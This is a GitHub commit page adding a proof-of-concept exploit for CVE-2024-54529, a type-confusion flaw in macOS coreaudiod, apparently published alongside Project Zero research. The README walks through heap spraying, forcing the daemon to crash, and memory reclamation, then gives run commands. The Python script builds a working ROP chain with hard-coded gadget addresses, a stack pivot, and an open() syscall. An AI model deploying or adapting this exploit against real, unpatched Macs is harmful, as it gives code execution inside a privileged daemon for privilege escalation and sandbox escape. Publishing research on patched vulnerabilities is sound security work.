Skip to content

Commit 95675b5

Browse files
authored
Merge pull request #15 from dillonfranke/master
add CVE-2024-54529 poc exploit as companion to second breaking the so…
2 parents a68274e + e297ad4 commit 95675b5

6 files changed

Lines changed: 1079 additions & 0 deletions

File tree

CoreAudioFuzz/exploit/Makefile

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
# Compiler
2+
CXX = clang++
3+
4+
# Flags
5+
CFLAGS = -g -O0 -fno-omit-frame-pointer -Wall -Wunused-parameter -Wextra -std=c++17
6+
7+
# Frameworks
8+
FRAMEWORKS = -framework CoreFoundation -framework CoreAudio
9+
10+
# Targets
11+
all: exploit
12+
13+
exploit: exploit.mm
14+
$(CXX) $(CFLAGS) $(FRAMEWORKS) exploit.mm -o exploit
15+
16+
clean:
17+
rm -f exploit
18+
19+
.PHONY: all clean

CoreAudioFuzz/exploit/README.md

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
# CoreAudio Exploit POC (macOS Sequoia)
2+
3+
**Disclaimer: This code is provided for educational and research purposes only. The author is not responsible for any damage to your system, data loss, or any misuse of this information. Use at your own risk. Please make sure to read the "Important Warnings" section below.**
4+
5+
## Overview
6+
7+
This repository contains a Proof-of-Concept (POC) exploit targeting a Type Confusion vulnerability ([CVE-2024-54529](https://project-zero.issues.chromium.org/issues/372511888)) in `coreaudiod`. The vulnerability was fixed on December 11, 2024, with the release of macOS Sequoia 15.2, Sonoma 14.7.2, and Ventura 13.7.2. This specific exploit was developed and tested on macOS Sequoia 15.0.1. The exploit utilizes a heap spray and ROP chain to achieve code execution within the privileged `coreaudiod` process. This can be leverage for both privilege escalation and sandbox escapes.
8+
9+
The successful execution of this exploit demonstrates writing a file to `/Library/Preferences/Audio/malicious.txt`.
10+
11+
## Technical Details
12+
13+
This exploit employs a chain of primitives to turn a Type Confusion into code execution:
14+
15+
1. **Uninitialized Memory:** The vulnerability relies on `ngne` objects having uninitialized memory (specifically a 6-byte gap) at offset `0x68`.
16+
2. **Heap Feng Shui via Plists:** We use `HALS_Object_SetPropertyData_DPList` to spray the heap with controlled data. By constructing large nested Property Lists (plists) containing `CFString` and `CFArray` objects, we control the memory layout. This data is serialized to disk at `/Library/Preferences/Audio/com.apple.audio.DeviceSettings.plist`.
17+
3. **Forced Restart Strategy:** `coreaudiod` cleans `malloc_tiny` zones but not `malloc_small` zones on allocation. To target the `ngne` objects (which are allocated in `malloc_small` only at startup), we intentionally crash `coreaudiod`.
18+
4. **Race/Reclaim:** On restart, `coreaudiod` deserializes our massive plist, allocating memory for it, and then immediately frees it. The startup routine then allocates `ngne` objects, which hopefully reclaim the just-freed memory containing our controlled pointers.
19+
5. **Pointer Chain & ROP:** The uninitialized memory at offset `0x68` now points to our controlled data, effectively creating a fake vtable. When the vulnerability is triggered, the program jumps to our ROP chain (encoded as UTF-16 string data to avoid validation issues), creating the target file.
20+
21+
## Further Reading
22+
23+
For a deep dive into the research behind this exploit, please refer to the following blog posts:
24+
25+
- **Part I (Fuzzing):** [Breaking the Sound Barrier: Part I - Fuzzing CoreAudio](https://projectzero.google/2025/05/breaking-sound-barrier-part-i-fuzzing.html)
26+
- **Part II (Exploitation):** [Breaking the Sound Barrier: Part II - Exploiting CVE-2024-54529](https://TBD)
27+
28+
## Prerequisites
29+
30+
- **macOS Version:** Tested on macOS Sequoia 15.0.1.
31+
- **SIP:** While developed on a system with SIP disabled for debugging, the primitives used are intended to work within the constraints of the hardened runtime, subject to specific sandbox allowances.
32+
- **Dependencies:** Python 3, Xcode Command Line Tools (for compilation).
33+
34+
## Usage
35+
36+
The main entry point is `run_exploit.py`. This script manages the entire exploitation lifecycle: heap grooming, service restarting, and the repeated triggering of the race condition.
37+
38+
```bash
39+
# Clean previous builds and compile the exploit binary
40+
make exploit
41+
42+
# Run the exploit runner
43+
./run_exploit.py
44+
```
45+
46+
### What Happens?
47+
48+
1. **Backup:** The script automatically backs up your current audio configuration (`/Library/Preferences/Audio/com.apple.audio.DeviceSettings.plist`) to `default-plist.plist` in the current directory.
49+
2. **Heap Grooming:** It performs a massive heap spray (creating thousands of dummy audio objects) to prepare the memory layout.
50+
3. **Service Reload:** It intentionally crashes `coreaudiod` once to force it to reload with the sprayed configuration.
51+
4. **Exploit Loop:** It continuously attempts to trigger the UAF vulnerability until the ROP chain successfully executes.
52+
53+
## ⚠️ Important Warnings
54+
55+
**1. Audio Device Spam:**
56+
Running this exploit will create a **massive number of dummy audio devices** on your system as part of the heap grooming process. You may experience audio unresponsiveness or latency until you perform the recovery steps below.
57+
58+
**2. Recovery:**
59+
The script is designed to handle this, but if your audio system behaves strangely after running the exploit, you can restore your original state:
60+
61+
* **Automatic Backup:** The script saves your original state to `default-plist.plist`.
62+
* **Manual Reset:** A helper script is provided to clear the clutter. Run it with `sudo` to restore the clean state:
63+
```bash
64+
sudo ./reset-devices.sh
65+
```
66+
67+
**3. System Stability:**
68+
This is a userland exploit involving system daemons. While unlikely to panic the kernel directly, crashing `coreaudiod` repeatedly may cause temporary audio loss or system instability.
69+
70+
## Code Structure
71+
72+
- `run_exploit.py`: The Python orchestration script. Handles state management, backups, and looping.
73+
- `exploit.mm`: The C++ source code for the exploit binary. Handles the low-level Mach IPC messages, object creation, and memory spraying.
74+
- `build_rop.py`: Python script to generate the ROP chain payload (`rop_payload.bin`). You'll need to find the correct runtime addresses for these gadgets, and do so again every time the system restarts.
75+
76+
## License
77+
78+
This software is open-source and provided "as is", without warranty of any kind.

CoreAudioFuzz/exploit/build_rop.py

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
#!/usr/bin/env python3
2+
3+
import struct
4+
5+
# Helper for 64-bit little-endian packing
6+
def p64(val):
7+
return struct.pack("<Q", val)
8+
9+
# Gadget Addresses
10+
STACK_PIVOT_GADGET = 0x7ff810b908a4 # xchg rsp, rax ; xor edx, edx ; ret
11+
POP_RDI_GADGET = 0x7ff80f185186 # pop rdi ; ret
12+
POP_RSI_GADGET = 0x7ff811fa1e36 # pop rsi ; ret
13+
POP_RDX_GADGET = 0x7ff811cce418 # pop rdx; ret
14+
POP_RAX_GADGET = 0x7ff811c93b09 # pop rax; ret
15+
ADD_HEX30_RSP = 0x7ff80f17d035 # add rsp, 0x30 ; pop rbp ; ret
16+
LOAD_RSP_PLUS_EIGHT = 0x7ffd1491ac80 # lea rax, [rsp + 8] ; ret
17+
MOV_RAX_TO_RSI = 0x7ff80f41b060 # mov rsi, rax ; mov rax, rsi ; pop rbp ; ret
18+
MOV_RSI_TO_RDI = 0x7ff827af146d # mov rdi, rsi ; mov rax, rdi ; mov rdx, rdi ; ret
19+
DEADBEEF_POINTER = 0xdeadbeeffeedface
20+
INLINE_STRING = ( #"/Library/Preferences/Audio/malicious.txt\0" (41 bytes including null terminator)
21+
b"\x2f\x4c\x69\x62\x72\x61\x72\x79\x2f\x50\x72\x65\x66\x65\x72"
22+
b"\x65\x6e\x63\x65\x73\x2f\x41\x75\x64\x69\x6f\x2f\x6d\x61\x6c"
23+
b"\x69\x63\x69\x6f\x75\x73\x2e\x74\x78\x74\x00"
24+
)
25+
POP_RCX_GADGET = 0x7ff8093d7a98 # pop rcx ; ret
26+
JMP_RCX_GADGET = 0x7ff80eafebff # jmp rcx
27+
SYSCALL = 0x7ff80f1534d0 # syscall
28+
29+
# Beginning of stack after pivot
30+
rop = bytearray(p64(LOAD_RSP_PLUS_EIGHT)) # lea rax, [rsp + 8] ; ret
31+
rop += p64(ADD_HEX30_RSP) # add rsp, 0x30 ; pop rbp ; ret
32+
rop += INLINE_STRING # Inline "/Library/Preferences/Audio/malicious.txt"
33+
rop += b'\x42' * 15 # pop rbp filler and will be moved past
34+
rop += p64(MOV_RAX_TO_RSI) # mov rsi, rax ; mov rax, rsi ; pop rbp ; ret
35+
rop += p64(0x4242424242424242) # pop rbp filler
36+
rop += p64(MOV_RSI_TO_RDI) # mov rdi, rsi ; mov rax, rdi ; mov rdx, rdi ; ret
37+
rop += p64(POP_RSI_GADGET) # pop rsi ; ret
38+
rop += p64(0x201) # O_CREAT | O_WRONLY
39+
rop += p64(POP_RDX_GADGET) # pop rdx ; ret
40+
rop += p64(0x1A4) # 0644
41+
rop += p64(POP_RAX_GADGET) # pop rax ; ret
42+
rop += p64(0x2000005) # syscall number for open()
43+
rop += p64(SYSCALL) # syscall
44+
rop += b'\x42' * (1152 - len(rop))
45+
46+
# [rax + 0x168] → pointer to pivot gadget (entrypoint)
47+
rop[0x168:0x170] = p64(STACK_PIVOT_GADGET) # xchg rsp, rax ; xor edx, edx ; ret
48+
49+
print("ROP length:", len(rop)) # Should print 1152
50+
# Write to file
51+
with open("rop_payload.bin", "wb") as f:
52+
f.write(rop)
53+
54+
print("[*] ROP chain written to rop_payload.bin")
55+

0 commit comments

Comments
 (0)